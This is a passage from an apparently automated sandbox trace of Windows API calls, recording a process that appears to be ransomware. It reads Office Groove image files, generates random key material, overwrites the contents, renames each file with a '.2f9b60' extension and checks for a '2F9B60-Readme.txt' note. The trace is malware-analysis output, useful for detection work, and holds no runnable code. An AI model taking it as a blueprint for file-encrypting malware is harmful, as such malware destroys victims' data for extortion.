[0140.409] WriteFile (in: hFile=0x1ef0, lpBuffer=0x42213100*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ba0f8e0, lpOverlapped=0x0 | out: lpBuffer=0x42213100*, lpNumberOfBytesWritten=0x2ba0f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0140.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42213100) returned 1 [0140.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421fb5f0) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059150 [0140.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0140.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0140.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0140.897] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0140.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059790 [0140.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0140.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0140.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0140.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0140.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0140.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x126) returned 0x1b7d3a20 [0140.898] SetFilePointerEx (in: hFile=0x1ef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.898] WriteFile (in: hFile=0x1ef0, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2ba0f990, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2ba0f990*=0x126, lpOverlapped=0x0) returned 1 [0140.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0140.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059790) returned 1 [0140.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0140.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffa0) returned 1 [0140.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860cf0) returned 1 [0140.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f490) returned 1 [0140.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb20) returned 1 [0140.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1187b0 [0140.973] wcscpy (in: _Dest=0x1187b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg" [0140.974] wcscat (in: _Dest=0x1187b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.2f9b60" [0140.974] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.2f9b60", NtPathName=0x2ba0f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1b776a10 [0140.974] NtSetInformationFile (FileHandle=0x1ef0, IoStatusBlock=0x2ba0fa50, FileInformation=0x1b776a10, Length=0xd8, FileInformationClass=0xa) returned 0x0 [0148.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776a10) returned 1 [0148.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fc3b0) returned 1 [0148.269] NtQueryInformationFile (in: FileHandle=0x1ef0, IoStatusBlock=0x2ba0fa18, FileInformation=0x2ba0fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ba0fa18, FileInformation=0x2ba0fa28) returned 0x0 [0148.269] NtSetInformationFile (FileHandle=0x1ef0, IoStatusBlock=0x2ba0fa18, FileInformation=0x2ba0fa28, Length=0x28, FileInformationClass=0x4) [0208.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1187b0) returned 1 [0208.315] FlushFileBuffers (hFile=0x1ef0) returned 1 [0208.334] CloseHandle (hObject=0x1ef0) returned 1 [0216.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1b7a5700 [0216.022] wcscpy (in: _Dest=0x1b7a5700, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0216.022] wcscat (in: _Dest=0x1b7a5700, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0216.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0216.022] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5700) returned 1 [0216.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278bf0) returned 1 Thread: id = 1858 os_tid = 0xe34 [0133.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp")) returned 0x20 [0134.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0137.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\picturestooliconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b38 [0140.072] GetFileSizeEx (in: hFile=0x1b38, lpFileSize=0x2b98fd40 | out: lpFileSize=0x2b98fd40*=4664) returned 1 [0140.072] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x1234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.072] ReadFile (in: hFile=0x1b38, lpBuffer=0x2b98fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b98fd08, lpOverlapped=0x0 | out: lpBuffer=0x2b98fcc0*, lpNumberOfBytesRead=0x2b98fd08*=0x4, lpOverlapped=0x0) returned 1 [0140.087] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bdc0 [0140.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205beb0 [0140.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0140.087] NtQuerySystemTime (in: CurrentTime=0x2b98fc00 | out: CurrentTime=0x2b98fc00*=132462177453214000) returned 0x0 [0140.087] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x21a6ba35 [0140.087] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x42892241 [0140.087] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x340bff0b [0140.087] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x1a706ea9 [0140.087] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x13dd4f2c [0140.087] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x346a9a3d [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x3f70fa02 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x3c7e68e5 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x41d2ab64 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x1c6e6316 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x2df08c26 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x58933923 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x5db2eb36 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x49742223 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x14ffe460 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x3c7e68e5 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x130636c0 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x48c5774f [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x3c30c337 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x1a706ea9 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x698a8489 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x19ee80dd [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x97c2796 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x4d3898e9 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x3399ec53 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x1a76901d [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x3846f82f [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x6f39bf4f [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x7455b3c5 [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0xe67c56c [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x5c63712b [0140.088] RtlRandomEx (in: Seed=0x2b98fbf0 | out: Seed=0x2b98fbf0) returned 0x4920705d [0140.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf70 [0140.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0140.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfa0 [0140.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0140.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bdc0) returned 1 [0140.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0140.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0140.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bdc0 [0140.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bdc0) returned 1 [0140.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421b01c0 [0140.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421b3dd0 [0140.097] ReadFile (in: hFile=0x1b38, lpBuffer=0x421b01c0, nNumberOfBytesToRead=0x1238, lpNumberOfBytesRead=0x2b98fbf0, lpOverlapped=0x0 | out: lpBuffer=0x421b01c0*, lpNumberOfBytesRead=0x2b98fbf0*=0x1238, lpOverlapped=0x0) returned 1 [0140.103] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.103] WriteFile (in: hFile=0x1b38, lpBuffer=0x421b3dd0*, nNumberOfBytesToWrite=0x1238, lpNumberOfBytesWritten=0x2b98fbf4, lpOverlapped=0x0 | out: lpBuffer=0x421b3dd0*, lpNumberOfBytesWritten=0x2b98fbf4*=0x1238, lpOverlapped=0x0) returned 1 [0140.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267920 [0140.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0140.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0140.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421b3dd0) returned 1 [0140.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421b01c0) returned 1 [0140.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0140.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0140.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9dc70 [0140.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0140.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0140.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0140.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0140.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9df70 [0140.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0140.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0140.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0140.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0140.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0140.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12e) returned 0x188850 [0140.932] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.932] WriteFile (in: hFile=0x1b38, lpBuffer=0x188850*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2b98fd10, lpOverlapped=0x0 | out: lpBuffer=0x188850*, lpNumberOfBytesWritten=0x2b98fd10*=0x12e, lpOverlapped=0x0) returned 1 [0141.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x188850) returned 1 [0141.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9df70) returned 1 [0141.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0141.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dc70) returned 1 [0141.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267920) returned 1 [0141.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205beb0) returned 1 [0141.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf70) returned 1 [0141.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfa0) returned 1 [0141.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x4205e8d0 [0141.081] wcscpy (in: _Dest=0x4205e8d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp" [0141.081] wcscat (in: _Dest=0x4205e8d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp.2f9b60" [0141.081] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp.2f9b60", NtPathName=0x2b98fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\PicturesToolIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe0) returned 0x1ceb4e50 [0141.082] NtSetInformationFile (FileHandle=0x1b38, IoStatusBlock=0x2b98fdd0, FileInformation=0x1ceb4e50, Length=0xe0, FileInformationClass=0xa) returned 0x0 [0145.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb4e50) returned 1 [0145.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced42e0) returned 1 [0145.443] NtQueryInformationFile (in: FileHandle=0x1b38, IoStatusBlock=0x2b98fd98, FileInformation=0x2b98fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b98fd98, FileInformation=0x2b98fda8) returned 0x0 [0145.443] NtSetInformationFile (FileHandle=0x1b38, IoStatusBlock=0x2b98fd98, FileInformation=0x2b98fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e8d0) returned 1 [0145.450] FlushFileBuffers (hFile=0x1b38) returned 1 [0145.990] CloseHandle (hObject=0x1b38) returned 1 [0146.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad970 [0146.006] wcscpy (in: _Dest=0x202ad970, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.006] wcscat (in: _Dest=0x202ad970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad970) returned 1 [0147.220] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278d70) returned 1 Thread: id = 1859 os_tid = 0xcb0 [0133.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg")) returned 0x20 [0135.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg", dwFileAttributes=0x20) returned 1 [0138.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\QuestionIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\questionicon.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f74 [0141.807] GetFileSizeEx (in: hFile=0x1f74, lpFileSize=0x2b6ffd00 | out: lpFileSize=0x2b6ffd00*=3099) returned 1 [0141.807] SetFilePointerEx (in: hFile=0x1f74, liDistanceToMove=0xc17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.807] ReadFile (in: hFile=0x1f74, lpBuffer=0x2b6ffc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b6ffcc8, lpOverlapped=0x0 | out: lpBuffer=0x2b6ffc80*, lpNumberOfBytesRead=0x2b6ffcc8*=0x4, lpOverlapped=0x0) returned 1 [0141.874] SetFilePointerEx (in: hFile=0x1f74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc60 [0141.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.874] NtQuerySystemTime (in: CurrentTime=0x2b6ffbc0 | out: CurrentTime=0x2b6ffbc0*=132462177471154000) returned 0x0 [0141.874] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x7513302a [0141.874] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0xa3f483 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x27f6c599 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x5c68ab4a [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x6cbe50ae [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0xe0e8cd6 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x6b1522f [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x6a4b7b6b [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x6c9d155d [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0xeec21a9 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x4d64a8c8 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x6eadf3a7 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x3bda8119 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x4d00d96b [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0xf6d9593 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x14428e4d [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x5461db48 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x243c1da3 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x4f4ac29d [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x27bebafa [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x51b61962 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x67081b9b [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x361ea2ff [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x2222c9bd [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x4f8179c9 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x55940594 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x3139458 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x4ef8b36b [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0xa02ead9 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x5ed0da9 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x33ae96 [0141.875] RtlRandomEx (in: Seed=0x2b6ffbb0 | out: Seed=0x2b6ffbb0) returned 0x408b6837 [0141.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe350 [0141.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0141.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe380 [0141.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0141.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0141.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420592e0 [0141.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0141.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ce530 [0141.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421d5d50 